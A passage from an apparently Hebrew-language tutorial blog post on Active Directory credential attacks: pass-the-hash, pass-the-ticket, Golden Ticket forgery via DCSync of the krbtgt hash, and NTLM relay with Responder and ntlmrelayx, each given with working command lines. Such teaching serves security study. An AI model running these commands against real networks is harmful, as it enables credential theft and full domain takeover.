על-מנת להתחבר עם ה-NTLM Hash באמצעות פרוטוקול זה, נשתמש בפקודה הבאה:
evil-winrm -i <TargetIP> -u <Username> -H <NTLMHash>
אגב, כאשר אנו בתוך מכונת היעד ורוצים לעבור ממשתמש רגיל ל-Administrator שאת ה-Hash שלו יש בידינו, נוכל לעשות זאת גם עם Mimikatz עצמו.
עבור כך נשתמש בMimikatz בצורה הבאה:
sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:NTLM_HASH /run:cmd.exe
3. Pass-the-Ticket (PtT)
כיצד עובד Kerberos כבר הסברנו, זוכרים? בואו נעשה ריענון קצר: יש את ה-KDC, אותו שרת מפתחות שאחראי על ה-AS (תהליך האימות) ועל ה-TGS (הנפקת כרטיסים למשתמש). מה יקרה אם תוקף ישיג את אחד מה-TGS ובאמצעותו יתחבר לשירותים שונים? זוהי בדיוק מתקפת Pass The Ticket.
במתקפה זו, התוקף משיג עותק של ה-Granting Service Ticket מתוך התחנה ומשתמש בו כדי להתחבר לשירותים שונים.
על-מנת לממש את המתקפה, נשתמש שוב ב-Mimikatz, בפקודות הבאות, הפעם עבור הוצאת ה-GST:
privilege::debug
sekurlsa::tickets /export
לאחר מכן, במחשב שלנו, נוכל להטעין את הכרטיס של המשתמש הרלוונטי (אשר מיוצא באמצעות הפקודה הקודמת כקובץ עם הסיומת kirbi) ל-Mimikatz ובאמצעותו להזדהות בפני השירותים השונים ברשת:
kerberos::ptt C:\path\to\ticket.kirbi
misc::cmd
כעת ייפתח לנו חלון CMD ונוכל להזדהות בו מול שירות ה-SMB ושירותים אחרים, בהתאם להרשאות של המשתמש. דוגמא להזדהות מול ה-SMB:
net use \\ServerName\ShareName
Golden Ticket
ממשיכים עם מתקפות על פרוטוקול Kerberos וכעת אדבר על מתקפת Golden Ticket. במתקפה זו, התוקף יוצר כרטיס TGT מזויף בעצמו. כרטיס זה מאפשר גישה כמעט בלתי מוגבלת למשאבים בסביבת Active Directory (AD), ללא תלות בהרשאות שהיו לתוקף בתחילה. איך זה בדיוק עובד? בואו נצלול.
אחד המשאבים המרכזיים בתוך ה-KDC (כזכור, שרת המפתחות) הוא ה-krbtgt. זהו חשבון מערכת מיוחד בתוך ה-KDC האחראי על חתימה ואימות של כרטיסי Kerberos. כלומר, זהו השירות באמצעותו חותמים את ה-TGT.
במסגרת Golden Ticket, התוקף משיג, באמצעות חשבון עם הרשאות גבוהות ושימוש ב-Mimikatz, את ה-Hash של סיסמת חשבון ה-krbtgt ומשתמש בה ע"מ לאמת מפתח חדש, מזויף, אותו הוא יוצר ובאמצעותו הוא מתחבר לשירותים השונים ברשת.
ע"מ להוציא את ה-Hash של ה-krbtgt, נשתמש בפקודה הבאה:
mimikatz # lsadump::dcsync /user:krbtgt
לאחר מכן, ניצור כרטיס TGT חדש, מזויף, באמצעות הפקודה הבאה:
kerberos::golden /user:kodkod /domain:domain.local /sid:S-1-5-21-XXXXX /krbtgt:HASH /id:500 /ptt
הסבר לפקודה: "kerberos::golden:" אנו מבקשים ליצור Golden Ticket. בערך הבא "user:pavan" אנו מזינים את שם המשתמש המזויף שאנו רוצים ליצור. ב-"domain:ignite.local" אנו מזינים את שם הדומיין. "sid": כאן אנו מזינים את המזהה של הדומיין, נוכל לאתר אותו באמצעות הפקודה: Get-ADDomain | Select-Object SID
, לאחר מכן אנו מזינים את המשתמש krbtgt ואת ה-NTLM Hash שלו אותו הוצאנו קודם-לכן ובסיום את ה-ID שאיתו אנו רוצים להזדהות. במקרה הזה בחרנו 500 שכן זהו המזהה של משתמש הAdministrator. הptt/ בסוף הפקודה מציין ל-Mimikatz שאנו רוצים להזריק את הכרטיס שנוצר ישירות לזיכרון ולהשתמש בו.
כעת, מכיון שיש לנו הרשאות Administrator, נוכל להשתמש בPsExec לצורך הדוגמא ע"מ להריץ פקודות על תחנות ברשת, באמצעות הפקודה PsExec64.exe \\192.168.0.2 cmd.exe
.
4. Relay Attack
מתקפת Relay (או "מתקפת שרשור") היא מתקפה שבה התוקף פועל כ"גורם בתווך" (Man-in-the-Middle) בין לקוח לשני (או יותר) שרתים באמצעות כך שהוא מאזין לנתוני אימות חוקיים ברשת אותם המשתמש שלח ל"שרת כלשהו" (מיד נסביר כיצד). כאשר התוקף מזהה את אותם נתונים הוא מעביר אותם מיד לשרת אחר, מולו הוא מנסה ליצור תקשורת ובכך הוא מזדהה בשם הקורבן.
כיצד זה קורה?
- הלקוח מנסה להתחבר לשירות מסוים (נניח SMB על שרת X).
- התוקף מאזין לתעבורה ומתחזה לשרת X; במקום לקחת את ה-Response ולשלוח אותו חזרה לאותו שרת, התוקף משתמש בנתונים שקיבל מהלקוח כדי להתחבר לשירות אחר (שרת Y).
- אם השרת Y סומך על האישורים שהגיעו דרך התוקף (כי הם עדיין "חיים" ולא פגו), התוקף מצליח לתקף את הזהות של הלקוח מול השרת Y.
כך, בלי "לשבור" את ה-Hash של הסיסמה, התוקף ממנף את הנתונים הטריים (Challenge/Response או Token אחר) כדי לגשת למשאבים שונים.
כדי לממש מתקפת Relay Attack, נוכל להשתמש בכלי כמו Responder, שמיועד ללכידת נתוני אימות ברשת כחלק מהשלב הראשון במתקפה. Responder מנצל מנגנונים כמו LLMNR או NBT-NS, פרוטוקולים לפתרון שמות שמופעלים כברירת מחדל בסביבות Windows (אם פרוטוקול ה-DNS לא משיב לשאילתה), כדי להתחפש לשירותים שונים ברשת (לדוגמה, SMB).
כאשר הלקוח שולח בקשה לשירות מסוים (למשל, כאשר הוא מנסה לגשת לשיתוף קבצים), וה-DNS לא מצליח לפתור את שם השרת (למשל עקב טעות כתיב כמו \\filesrver\share
במקום \\fileserver\share
), Responder משיב לשאילתה עם תשובה מזויפת ומתחזה לשירות המבוקש. לאחר מכן, המשתמש שולח את נתוני ה-Challenge/Response, אותם התוקף לוכד ומכין לשימוש במתקפת ה-Relay.
התפיסה של הנתונים עם ה-Responder באמצעות מנגנונים כמו LLMNR או NBT-NS נקראת גם LLMNR/NBT-NS Poisoning. מתקפה זו מתבצעת מול פרוטוקולים אלו ולא מול פרוטוקול ה-DNS עצמו, שכן DNS פועל במודל Client-Server ומבוסס על שרתים מוגדרים מראש (למשל, ב-Active Directory). לעומת זאת, NBT-NS ו-LLMNR פועלים במודל Multicast/Broadcast, שבו המחשב שולח שאילתה לכל המכשירים ברשת המקומית, מה שמאפשר למחשב התוקף להגיב לשאילתה בקלות ולהתחזות לשירות המבוקש.
לצורך הדוגמא, נוכל להשתמש ב-Responder בצורה הבאה ע"מ ליירט נתוני Challenge/Response:
responder -I eth0
כעת, כאשר יתבצע חיבור אותו ה-Responder יצליח ליירט, יופיעו לנו נתוני הChallenge/Response ונוכל להתחבר לשרת ה-SMB האמיתי ע"י שליחת ה-Response, ממש כפי שהמחשב הנתקף תכנן להתחבר אליו.
את החיבור לשרת ה-SMB נוכל לבצע באמצעות ntlmrelayx והפקודה הבאה:
ntlmrelayx.py -tf targets.txt -smb2support
הסבר לפקודה: targets.txt יכיל רשימה של כתובות IP שאנו רוצים להתחבר אליהם ו-smb2support מציין תמיכה ב-SMBv2 (הכלי ntlmrelayx הוא חלק מחבילת הכלים של Impacket שכברירת מחדל תומך רק ב-SMBv1.
אפרופו SMB, חשוב לציין שיירוט נתוני SMB בעזרת ה-Responder והתחברות עמם רלוונטי יותר ב-SMBv1 ו-SMBv2 (אך ורק ללא חתימה דיגיטלית, כלומר כש-SMB Signing לא מוגדר כ-Required) אשר נפוצים מאד ונמצאים בשימוש רחב. ב-SMBv3 התווספו מנגנוני הצפנה אשר מקשים על כך.
בנוסף, חשוב מאד לציין כי ככלל, מתקפת Relay רלוונטית בעיקר ב-NTLM ולא ב-Kerberos. הסיבה לכך היא העובדה שככלל כרטיסי השירות (Service Ticket) בהם עושים שימוש ב-Kerberos מוצפנים במפתח של השירות שאליו נועדו. אם תוקף מנסה לקחת Service Ticket שהונפק לשרת A ולהשתמש בו בשרת B, שרת B לא יוכל לפענח את הטיקט (כי הוא מוצפן במפתח של A) – והאימות ייכשל. הדגשתי "ככלל", כי יש מקרים כדוגמת שרתים עם תצורת Delegation (מנגנון אשר מאפשר לשרתים לפעול בשם משתמשים ולגשת לשירותים אחרים בשמם) שגויה, שאז השרת מקבל גישה ל-TGT (כלל השירותים) ולא רק ל-TGS (שירות ספציפי) וממילא ה-TGT לא מוצפן במפתח של שירות מסוים, אלא רלוונטי לכל השירותים. לכן – אם תוקף יצליח להשיג TGT משירות זה באמצעות ה-Reponsder, הוא יוכל לגשת לשירותים אחרים ללא מניעה.
דבר נוסף שחשוב לדעת: לצד מתקפת Relay קיימת מתקפה נוספת בשם Replay Attack. במתקפה זו התוקף לא מעביר ב-Live את "הנתונים הטריים", כאלו שטרם נעשה בהם שימוש מול שרת אמיתי, אלא לוקח נתוני אימות שכבר הועברו ומנסה להעביר אותם מחדש. המתקפה פחות רלוונטית ב-NTLMv2 שכן כפי שכבר ציינתי הוא כולל בתוכו Timestamp (חותמת זמן) ו-Session Signing (מזהים ייחודיים ל-Session).
עד כאן לפוסט זה. עולם מחקר סיסמאות Windows הוא עולם "ענק" וישנם מתקפות נוספות שחשוב להכיר אשר מנצלות את צורת המימוש והקונפיגורציה של הפרוטוקולים השונים, רובם מתבססים וזהים בהרבה חלקים למתקפות שתיארתי בפוסט זה. על מתקפות אלה ועל דרכים נוספות לנצל את המתקפות שכבר פירטתי אפרט בצורה רחבה בפוסט בהמשך אשר יהיה מיועד למתקדמים.